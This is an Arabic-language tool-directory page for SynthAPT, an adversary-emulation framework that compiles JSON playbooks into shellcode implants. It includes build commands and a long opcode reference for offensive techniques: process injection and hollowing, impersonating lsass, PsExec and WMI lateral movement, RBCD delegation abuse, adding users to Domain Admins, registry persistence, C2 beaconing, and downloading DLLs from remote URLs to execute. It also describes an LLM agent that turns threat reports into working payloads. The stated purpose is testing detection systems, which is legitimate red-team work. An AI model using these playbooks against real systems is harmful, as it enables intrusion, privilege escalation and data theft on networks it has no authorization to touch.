Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/acedef/synthapt
أطر اختبار الاختراقتصعيد الامتيازاتأطر الاستغلالتوليد الحمولةالحركة الجانبيةشيل كودما بعد الاستغلالالقيادة والسيطرةالفريق الأحمرأمن الذكاء الاصطناعيالهجوم العدائي
23147منذ 4 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
acedef/synthapt

SynthAPT

إطار عمل لمحاكاة الخصوم يعتمد على الكتيبات التشغيلية (playbooks) يقوم بتجميع مسارات الهجوم المُعرَّفة بصيغة JSON إلى حمولات شيلكود مستقلة عن الموقع من أجل التحقق من صحة أنظمة الكشف المتقدمة وعوامل التحقيق المعتمدة على الذكاء الاصطناعي.

عرض المستودع

SynthAPT

نظرة عامة

SynthAPT هو إطار عمل لمحاكاة الخصوم يعتمد على السيناريوهات (playbooks) لتكرار مسارات الهجوم المعقدة. وهو مصمم للتحقق من صحة أنظمة الكشف المتقدمة وعوامل التحقيق القائمة على الذكاء الاصطناعي. الفكرة الأساسية هي أن سلوك البرامج الضارة يمكن التعبير عنه بصيغة JSON وتجميعه إلى برامج ضارة وظيفية، مما يتيح تطوير سيناريوهات واقعية بسرعة باستخدام نماذج اللغة الكبيرة (LLMs).

الزرع الأساسي (implant) هو حمولة من شيلكود (shellcode) يقودها مفسر سيناريو (playbook interpreter). يحدد السيناريو مسار الهجوم بالكامل مسبقًا، ويتبعه الزرع، متنقلًا في البيئة عبر حقن العمليات (process injection)، والحركة الجانبية (lateral movement)، وما إلى ذلك. كل زرع ينشأ كخيط مستقل (thread) مع مجموعة تعليمات خاصة به، لذلك يتم التعبير عن الهجمات متعددة المراحل (مثل الوصول الأولي → رفع الامتيازات → الحركة الجانبية → تسريب البيانات) كرسم بياني من الأزرع المتعاونة، وكلها محددة مسبقًا في السيناريو. هذا يوفر ثلاث مزايا رئيسية:

  1. يمكن للحمولات محاكاة البرامج الضارة الحقيقية دون الحاجة إلى بنية تحتية للقيادة والتحكم (C2) - حيث يتم تضمين مسار الهجوم بالكامل في الحمولة ويمكن محاكاة تفاعلات C2.
  2. الحمولات قابلة للتكرار - فهي تنفذ مسار الهجوم بالكامل بنفس الطريقة في كل مرة، مما يجعلها مناسبة لاختبارات الانحدار (regression testing) لأنظمة الكشف.
  3. يمكن لنماذج اللغة الكبيرة (LLMs) ترجمة تقارير استخبارات التهديدات والمدونات مباشرة إلى حمولات عاملة، دون الحاجة إلى خبرة هجومية أو بناء برامج ضارة من الصفر.

الميزات

  • شيلكود مستقل عن الموضع (Position-independent shellcode) - الزرع هو PIC بالكامل ويمكن دمجه في أي محمل (loader) أو حاقن (injector).
  • مكتبة أوامر (opcodes) غنية - التنفيذ، التلاعب بالرموز (tokens)، حقن العمليات، تجويف العمليات (process hollowing)، الحركة الجانبية، تعداد وتعديل Active Directory، السجل (registry)، الخدمات، والمزيد.
  • حمولات ذاتية التكاثر - يمكن للزرع أن ينسخ نفسه كملف EXE أو DLL بمجموعة مهام مختلفة، مما يتيح التسليم متعدد المراحل دون الحاجة إلى C2.
  • صيغ إخراج مرنة - تجميع سيناريو إلى شيلكود خام، أو PE EXE، أو PE DLL.
  • Python داخل الذاكرة (In-memory Python) - يمكن تحميل مفسر Python بشكل عكسي (reflectively) في وقت التشغيل، مما يكشف جميع قدرات الزرع كوحدة Python للبرمجة المرنة.
  • محاكاة الشخصيات غير اللاعبة (NPC simulation) - أوامر 'explorer' تسمح بفك ضغط (unzipping) وإطلاق الحمولات تلقائيًا بطريقة تعيد إنتاج آثار تفاعل المستخدم (عند حقنها في Explorer.exe).
  • محرر TUI مع وكيل LLM - محرر سيناريوهات قائم على الواجهة الطرفية (TUI) مع وكيل Claude مدمج يمكنه إنشاء وتحرير السيناريوهات من اللغة الطبيعية أو استخبارات التهديدات.
  • محمل BOF - يمكن توسيع الوظائف باستخدام ملفات Beacon Object Files القياسية.

البناء من المصدر

إذا كنت لا تريد استخدام الإصدار الجاهز (release)، يمكنك التجميع كالتالي:

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
    sudo apt install gcc-mingw-w64-x86-64
root@kitploit:~
بناء باستخدام cargo make:```bash
cargo make build
./target/release/synthapt

سيؤدي هذا إلى تجميع shellcode والمحرر.

الاستخدام

تشغيل SynthAPT بدون أي أوامر سينقلك إلى المحرر. يمكنك تقديم مفتاح API لـ Claude وعرض التغييرات أثناء كتابة الأوامر النصية.```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

root@kitploit:~
إذا كنت ترغب في استخدام LLM آخر أو اشتراك، يمكنك تشغيل `synthapt export-skill` واستخدام ذلك مع أي إعداد برمجي لديك.

يجب أن يُخرج playbook بصيغة JSON. قم بتجميعه إلى payload باستخدام الأمر compile:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

مرجع أكواد التعليمات

يمكن تعريف الثوابت كسلاسل نصية، أو كائنات سداسية عشرية، أو كائنات base64:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

root@kitploit:~
---

### end (0x00)
نهاية مجموعة المهام. يُضاف تلقائيًا بواسطة المترجم - لست بحاجة لإضافته.

---

### store_result (0x01)
تخزين نتيجة العملية الأخيرة في متغير.

| Field | Type | |
|-------|------|-|
| var | u16 | **مطلوب** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

أعد وحدات بايت الشيلكود الحالية مع معرف مهمة اختياري و/أو قيمة سحرية مدمجة.

FieldType
tasku8اختياري
magicu32 hex string or numberاختياري
root@kitploit:~
---

### sleep (0x03)
النوم لعدد معين من المللي ثانية.

| Field | Type | |
|-------|------|-|
| ms | u32 | **مطلوب** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

تنفيذ أمر عبر cmd.exe.

FieldType
commandstringمطلوب
{ "op": "run_command", "command": "whoami /all" }
root@kitploit:~
---
### get_cwd (0x05)
احصل على دليل العمل الحالي. لا وسائط.```json
{ "op": "get_cwd" }

read_file (0x06)

اقرأ ملفًا وأعد محتواه.

الحقلالنوع
pathstringمطلوب
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }
root@kitploit:~
---

### write_file (0x07)
كتابة بايتات إلى ملف.

| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| content | bytes | *اختياري* (ملف فارغ إذا تم حذفه) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

اطبع رمز الحالة لمتغير (0 = نجاح، غير صفري = خطأ).

حقلنوع
varu16مطلوب
{ "op": "check_error", "var": 0 }
root@kitploit:~
---

### شرطي (0x09)
التفرع إلى فهارس مهام مختلفة بناءً على حالة المتغير.

| الحقل | النوع | |
|-------|------|-|
| mode | `"data"` أو `"error"` | **مطلوب** |
| var1 | u16 | **مطلوب** |
| var2 | u16 | *اختياري* (مقارنة متغيرين بدلاً من فحص واحد) |
| true | u16 | **مطلوب** (فهرس المهمة إذا كان الشرط صحيحاً) |
| false | u16 | **مطلوب** (فهرس المهمة إذا كان الشرط خاطئاً) |

`true_target` و `false_target` يتم قبولها كأسماء مستعارة لـ `true` و `false`.

أوضاع المتغير الواحد:
- `"data"` — صحيح إذا كان var1 يحتوي على بيانات غير فارغة
- `"error"` — صحيح إذا كانت حالة var1 تساوي 0 (نجاح)

أوضاع المتغيرين (عند وجود var2):
- `"data"` — صحيح إذا كانت بيانات var1 تساوي بيانات var2
- `"error"` — صحيح إذا كان رمز خطأ var1 يساوي رمز خطأ var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

تعيين متغير إلى قيمة حرفية.

الحقلالنوع
varu16مطلوب
databytesاختياري (فارغ إذا تم حذفه)

يتم تخزين القيم الحرفية (literal strings) وقيم hex/base64 مع بادئة نتيجة طولها 5 بايت لتظهر كنتائج عمليات عادية عند قراءتها. يتم تمرير مراجع المتغيرات ($n) والثوابت (%n) كما هي.```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

root@kitploit:~
---

### print_var (0x0B)
اطبع محتويات متغير إلى stdout (تصحيح). احذف `var` لطباعة نتيجة العملية الأخيرة.

| Field | Type | |
|-------|------|-|
| var | u16 | *اختياري* (يطبع آخر نتيجة إذا كان غائبًا) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

قفزة غير مشروطة إلى فهرس مهمة ضمن مجموعة المهام الحالية.

FieldType
targetu16required
{ "op": "goto", "target": 2 }
root@kitploit:~
---

### migrate (0x0D)
حقن shellcode في عملية تطابق سلسلة بحث أو PID.

| Field | Type | |
|-------|------|-|
| task_id | u8 | **مطلوب** |
| search | string or number | *اختياري* (فارغ = لا بحث؛ رقم = PID الهدف) |
| magic | u32 hex string or number | *اختياري* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

سرد العمليات الجارية. يعيد سطورًا مفصولة بعلامات التبويب: pid\timage\tcmdline\n. لا وسائط.```json { "op": "list_procs" }

root@kitploit:~
---

### get_const (0x0F)
تحميل ثابت في النتيجة الأخيرة. يقبل `index` أو `const_idx` كاسم الحقل.

| Field | Type | |
|-------|------|-|
| index | u16 | **مطلوب** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

قم بتنفيذ أمر عبر WMI، اختيارياً على مضيف بعيد.

root@kitploit:~
---

### http_send (0x11)
إرسال طلب HTTP/S.

| الحقل | النوع | |
|-------|------|-|
| host | string | **مطلوب** |
| method | string | *اختياري* (الإفتراضي: `"GET"`) |
| port | u16 | *اختياري* (الإفتراضي: `80`) |
| path | string | *اختياري* (الإفتراضي: `"/"`) |
| secure | bool | *اختياري* (الإفتراضي: `false`) |
| body | bytes | *اختياري* (فارغ إذا تم حذفه) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

sacrificial (0x12)

قم بإنشاء عملية معلقة، وحقن شيلكود، واستئنافها.

root@kitploit:~
---

### redirect_stdout (0x13)
إعادة توجيه stdout إلى ملف أو أنبوب مسمى. يذهب إخراج `run_command` اللاحق إلى هناك.

| Field | Type | |
|-------|------|-|
| path | string | **مطلوب** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

shellcode_server (0x14)

ابدأ خادم TCP يخدم التعليمات البرمجية للقذيفة (shellcode) للعملاء المتصلين. يتلقى كل عميل نسخة بقيمة سحرية متزايدة.

الحقلالنوع
portu16مطلوب
magic_baseu32 سلسلة سداسية عشرية أو رقم
root@kitploit:~
---

### resolve_hostname (0x15)
حل اسم المضيف إلى سلسلة عنوان IPv4.

| Field | Type | |
|-------|------|-|
| hostname | string | **مطلوب** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

psexec (0x16)

انسخ ملفًا ثنائيًا إلى مضيف بعيد عبر SMB وقم بتنفيذه كخدمة (حركة جانبية على غرار PsExec).

root@kitploit:~
---

### generate_exe (0x17)
إنشاء ملف تنفيذي PE مع تضمين الشيل كود والبايت كود الحاليين.

| Field | Type | |
|-------|------|-|
| task_id | u8 | **مطلوب** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

run_bof (0x18)

تنفيذ ملف كائن المنارة (BOF).

root@kitploit:~
---

### query_ldap (0x19)
استعلام عن دليل LDAP.

| الحقل | النوع | |
|-------|------|-|
| base | string | **مطلوب** (DN الأساسي) |
| filter | string | **مطلوب** |
| scope | u8 | *اختياري* (الافتراضي: `2` = شجرة فرعية; `0` = الأساس, `1` = مستوى واحد) |
| attribute | string | *اختياري* (فارغ = إرجاع جميع السمات) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

set_ad_attr_str (0x1A)

تعيين سمة Active Directory إلى قيمة string.

root@kitploit:~
---

### set_ad_attr_bin (0x1B)
تعيين سمة Active Directory إلى قيمة ثنائية. مرر قيمة فارغة لحذف السمة.

| الحقل | النوع | |
|-------|------|-|
| dn | string | **مطلوب** |
| attr | string | **مطلوب** |
| value | bytes | **مطلوب** (فارغ = حذف السمة) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }

portscan (0x1C)

افحص منافذ TCP على هدف أو أكثر. يُرجع سطورًا تحتوي على host\tport\n للمنافذ المفتوحة فقط.

root@kitploit:~
---

### set_user_password (0x1D)
تعيين كلمة مرور مستخدم محلي أو نطاق عبر NetUserSetInfo.

| الحقل | النوع | |
|-------|------|-|
| username | string | **مطلوب** |
| password | string | **مطلوب** |
| server | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }

add_user_to_localgroup (0x1E)

إضافة مستخدم إلى مجموعة محلية عبر NetLocalGroupAddMembers.

root@kitploit:~
---

### remove_user_from_localgroup (0x1F)
إزالة مستخدم من مجموعة محلية عبر NetLocalGroupDelMembers.

| Field | Type | |
|-------|------|-|
| group | string | **مطلوب** |
| username | string | **مطلوب** |
| server | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }

get_user_sid (0x20)

ابحث عن سلسلة SID الخاصة بمستخدم عبر LookupAccountName.

FieldType
usernamestringمطلوب
serverstringاختياري (فارغ = الجهاز المحلي)

يعيد سلسلة SID، على سبيل المثال S-1-5-21-....```json { "op": "get_user_sid", "username": "Administrator" } { "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }

root@kitploit:~
---

### add_user_to_group (0x21)
إضافة مستخدم إلى مجموعة مجال عبر NetGroupAddUser.

| الحقل | النوع | |
|-------|------|-|
| group | string | **مطلوب** |
| username | string | **مطلوب** |
| server | string | *اختياري* (فارغ = DC محلي) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }

remove_user_from_group (0x22)

إزالة مستخدم من مجموعة نطاق عبر NetGroupDelUser.

root@kitploit:~
---

### create_rbcd_ace (0x23)
بناء ACE ثنائي للتفويض المقيد القائم على الموارد. النتيجة مناسبة للكتابة مباشرة إلى `msDS-AllowedToActOnBehalfOfOtherIdentity`.

| الحقل | النوع | |
|-------|------|-|
| sid | string | **مطلوب** (سلسلة SID، مثلًا من `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }

reg_create_key (0x24)

إنشاء مفتاح تسجيل.

الحقلالنوع
keystringمطلوب (المسار الكامل، مثل: "HKLM\\SOFTWARE\\MyApp")
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }
root@kitploit:~
---

### reg_delete_key (0x25)
حذف مفتاح التسجيل.

| Field | Type | |
|-------|------|-|
| key | string | **مطلوب** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }

reg_set_value (0x26)

تعيين قيمة سجل.

root@kitploit:~
### reg_query_value (0x27)
استعلام عن قيمة في السجل. يعيد وحدات البايت الخام للقيمة.

| الحقل | النوع | |
|-------|------|-|
| key | string | **مطلوب** |
| value_name | string | **مطلوب** (سلسلة فارغة للقيمة الافتراضية) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }

make_token (0x28)

إنشاء رمز انتحال عبر LogonUser وانتحاله. نوع تسجيل الدخول الافتراضي هو 9 (LOGON32_LOGON_NEW_CREDENTIALS)، والذي يستخدم بيانات الاعتماد المقدمة للاتصالات الشبكية الصادرة مع الحفاظ على الرمز المحلي دون تغيير.

root@kitploit:~
---

### impersonate_process (0x29)
افتح رمز عملية وانتحل هويته. مفيد لتصعيد الامتيازات أو سرقة الرموز الجانبية.

| الحقل | النوع | |
|-------|------|-|
| search | string | **مطلوب** (يطابق اسم الصورة أو سطر الأوامر) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }

enable_privilege (0x2A)

تمكين امتياز على رمز العملية.

root@kitploit:~
---

### list_process_privs (0x2B)
قائمة بأسماء الامتيازات وحالتها (مفعلة/معطلة) لعملية. تُرجع سطورًا بالشكل `name\tenabled\n` أو `name\tdisabled\n`.

| الحقل | النوع | |
|-------|------|-|
| search | string | *اختياري* (فارغ = العملية الحالية) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }

list_thread_privs (0x2C)

قائمة الامتيازات على رمز الخيط الحالي. تُرجع نفس تنسيق list_process_privs. لا توجد وسائط.```json { "op": "list_thread_privs" }

root@kitploit:~
---

### delete_file (0x2D)

حذف ملف.

| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }

revert_to_self (0x2E)

التراجع إلى رمز العملية الأصلي، وإنهاء أي انتحال. لا وسائط.```json { "op": "revert_to_self" }

root@kitploit:~
### start_service (0x2F)
ابدأ خدمة Windows.

| الحقل | النوع | |
|-------|------|-|
| service_name | string | **مطلوب** |
| target | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }

delete_service (0x30)

حذف خدمة ويندوز.

الحقلالنوع
service_namestringمطلوب
root@kitploit:~
---

### create_thread (0x31)
قم بإنشاء سلسلة تنفيذ جديدة في العملية الحالية تشغل نسخة من الشيلكود. إذا تم حذف `magic`، يتم فحص أكوام العملية للعثور على قيمة سحرية فريدة لا تتعارض مع المثيلات الموجودة.

| الحقل | النوع | |
|-------|------|-|
| task | u8 | *اختياري* (احذفه أو استخدم `255` = نفس مجموعة المهام للسلسلة الحالية) |
| magic | u32 سلسلة ست عشرية أو رقم | *اختياري* (يتم الكشف تلقائيًا إذا تم حذفه) |

> **تحذير**: حذف `task` يؤدي إلى تشغيل نفس مجموعة المهام في سلسلة تنفيذ جديدة. إذا قامت مجموعة المهام باستدعاء `create_thread` مرة أخرى، يؤدي ذلك إلى سلاسل تنفيذ غير محدودة.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }

generate_dll (0x32)

توليد DLL مع كود shellcode الحالي مضمنًا. يتم تشغيل shellcode عند DLL_PROCESS_ATTACH وتصدير دالة مسماة تقوم أيضًا بتشغيل shellcode.

root@kitploit:~
---

### shell_execute (0x33)
تنفيذ ملف باستخدام ShellExecuteEx عبر COM. تظهر العملية الناتجة كما لو أنها أُطلقت بواسطة shell.

| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| verb | string | *اختياري* (مثل `"open"`, `"runas"`) |
| args | string | *اختياري* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }

shell_extract (0x34)

استخراج أرشيف ZIP باستخدام شل Windows.

FieldType
pathstringمطلوب (المسار إلى ملف ZIP)

يستخرج إلى مجلد بنفس اسم ملف ZIP (بدون الامتداد) في نفس الدليل.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }

root@kitploit:~
---

### shell_execute_explorer (0x35)
تنفيذ ملف عبر explorer.exe كعملية أصل باستخدام COM. تبدو العملية المنبثقة وكأنها تم إطلاقها بواسطة المستخدم من Explorer.

| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| verb | string | *اختياري* |
| args | string | *اختياري* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }

load_library (0x36)

قم بتحميل DLL في العملية الحالية عبر LoadLibraryW.

حقلالنوع
pathstringمطلوب
{ "op": "load_library", "path": "C:\Users\Public\payload.dll" }
root@kitploit:~
### pyexec (0x37)
تنزيل مكتبة Python DLL من URL (مخزنة مؤقتًا في الذاكرة بعد التنزيل الأول)، ثم تنفيذ سكريبت Python. يكشف عن وحدة `agent` مع روابط لجميع أوامر الوكيل.

| الحقل | النوع | |
|-------|------|-|
| url | string | *اختياري* (URL لمكتبة Python DLL; فارغ = استخدام Python المحملة بالفعل) |
| script | string | *اختياري* (كود Python للتنفيذ; فارغ = التهيئة دون تشغيل) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }

hollow (0x38)

إفراغ العملية: إنشاء عملية شرعية معلقة، استبدال نقطة الدخول الخاصة بها بـ shellcode، ثم استئنافها.

root@kitploit:~
---

### migrate_apc (0x39)
قم بإنتاج عملية معلقة، وخصص ذاكرة قابلة للقراءة والكتابة والتنفيذ، واكتب شيلكود، وقم بإدراج APC في الخيط الرئيسي، واستأنف. يُرجع معرف العملية المنتجة.

| Field | Type | |
|-------|------|-|
| image | string | **required** |
| task_id | u8 | **required** |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }

register_service (0x3A)

سجل العملية الحالية كخدمة ويندوز عن طريق استدعاء StartServiceCtrlDispatcher. يجب استدعاؤها مبكرًا عندما تبدأ العملية بواسطة مدير التحكم بالخدمات (Service Control Manager)، وإلا سيقوم مدير التحكم بقتلها بعد حوالي 30 ثانية. تقوم بتشغيل اتصال مدير التحكم بالخدمات في خلفية مؤشر ترابط بحيث تستمر مجموعة المهام الرئيسية بشكل طبيعي.

الحقلالنوع
service_namestringمطلوب (اسم مستعار: name)
{ "op": "register_service", "service_name": "MySvc" }
root@kitploit:~
---

### exit_process (0x3B)
إنهاء العملية الحالية.

| الحقل | النوع | |
|-------|------|-|
| exit_code | u32 | *اختياري* (الافتراضي: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }

hollow_apc (0x3C)

تشغيل عملية معلقة وحقن شيلكود عبر APC. مشابه لـ migrate_apc ولكن مع إمكانية تزييف PPID بشكل اختياري.

root@kitploit:~
---

### frida_hook (0x3F)
قم بتنزيل مكتبة Frida gadget DLL من عنوان URL (يتم تخزينها مؤقتًا بعد التنزيل الأول) وقم بتثبيت خطاف JavaScript.

| الحقل | النوع | |
|-------|------|-|
| url | string | **مطلوب** |
| script | string | **مطلوب** (JavaScript باستخدام واجهة برمجة تطبيقات Frida) |
| name | string | *اختياري* (اسم الخطاف للرجوع إليه لاحقًا باستخدام `frida_unhook`) |
| callback_host | string | *اختياري* (المضيف الذي سيتم إرسال رسائل `send()` إليه عبر HTTP POST) |
| callback_port | u16 | *اختياري* |
| batch_size | u32 | *اختياري* (عدد الرسائل لكل دفعة HTTP POST؛ الافتراضي: `50`) |
| flush_interval | u32 | *اختياري* (فاصل التدفق بالمللي ثانية؛ الافتراضي: `5000`) |

الرسائل المرسلة عبر `send()` في JavaScript إما تُنشر إلى `callback_host:callback_port/frida` أو تُكتب إلى stdout إذا لم يتم تكوين رد اتصال.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }

frida_unhook (0x40)

إلغاء تحميل خطاف Frida. بدون وسائط، يقوم بإلغاء تحميل جميع الخطافات.

root@kitploit:~
### kill (0x42)

اقتل مثيل وكيل قيد التشغيل بواسطة قيمته السحرية.

| الحقل | النوع | |
|-------|------|-|
| magic | u32 hex string or number | *اختياري* (احذف لقتل المثيل الحالي) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }

http_beacon (0x43)

الاتصال بخادم C2 عبر HTTP واستقصاء مهام bytecode.

root@kitploit:~
---

### mem_read (0x44)
اقرأ البايتات الخام من عنوان ذاكرة في العملية الحالية أو عملية عن بعد.

| الحقل | النوع | |
|-------|------|-|
| address | hex string | **مطلوب** (عنوان كأحرف سداسية عشرية، على سبيل المثال `"7FFE0030"`؛ يتم إزالة البادئة `0x` تلقائيًا) |
| size | u32 | **مطلوب** |
| pid | u32 | *اختياري* (عملية عن بعد؛ احذف للقراءة المحلية) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }

dll_list (0x45)

تجول في PEB LDR InLoadOrderModuleList وأعد الوحدات المحملة. يعيد Vec<ProcessResult<ModuleInfo>> بتنسيق postcard.

FieldType
pidu32 أو "all"
root@kitploit:~
---

### mem_map (0x46)
تعداد مناطق الذاكرة الافتراضية عبر `VirtualQuery`/`VirtualQueryEx`. يُرجع متسلسلًا بتنسيق postcard: `Vec<ProcessResult<MemRegion>>`. يتخطى مناطق FREE؛ تتضمن مناطق IMAGE اسم الوحدة وقسم PE.

| الحقل | النوع | |
|-------|------|-|
| pid | u32 أو `"all"` | *اختياري* (إذا حذفت = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }

malfind (0x47)

ابحث عن مناطق الذاكرة القابلة للتنفيذ الخاصة الملتزمة — مؤشرات على حقن الشيلكود أو مكتبات DLL الانعكاسية. يتجاوز الصفحات الفارغة ويسجل المناطق التي تحتوي على رؤوس MZ. يعيد سلسلة Vec<ProcessResult<MalfindHit>> مسلسلة بتنسيق Postcard.

الحقلالنوع
pidu32 أو "all"
root@kitploit:~
---

### ldr_check (0x48)
قم بإجراء مرجع تبادلي لمناطق ذاكرة IMAGE مقابل قائمة وحدات PEB للعثور على DLLs غير مرتبطة أو مخفية — المناطق التي تحتوي على رؤوس MZ غير موجودة في `InLoadOrderModuleList`. يُرجع `Vec<ProcessResult<LdrCheckHit>>` مسلسلًا باستخدام postcard.

| الحقل | النوع | |
|-------|------|-|
| pid | u32 أو `"all"` | *اختياري* (الحذف = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }

الكشف

مثل جميع الأطر، فإن الغرسة لها بصمة مميزة في الذاكرة، والعديد من السلاسل النصية العادية التي تكشف عنها. يمكنك بناء تواقيع بناءً على ملف shellcode الأساسي: out/shellcode.bin

الإسناد

يمدد هذا المشروع Rustic64Shell من safedev.

تم تحميل مكتبة Python DLL بشكل انعكاسي من farfella

تنزيل الأداة
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
FieldType
commandstringمطلوب
hoststringاختياري (فارغ = المضيف المحلي)
userstringاختياري (فارغ = المستخدم الحالي)
passstringاختياري (فارغ = بيانات الاعتماد الحالية)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }
FieldType
imagestringمطلوب
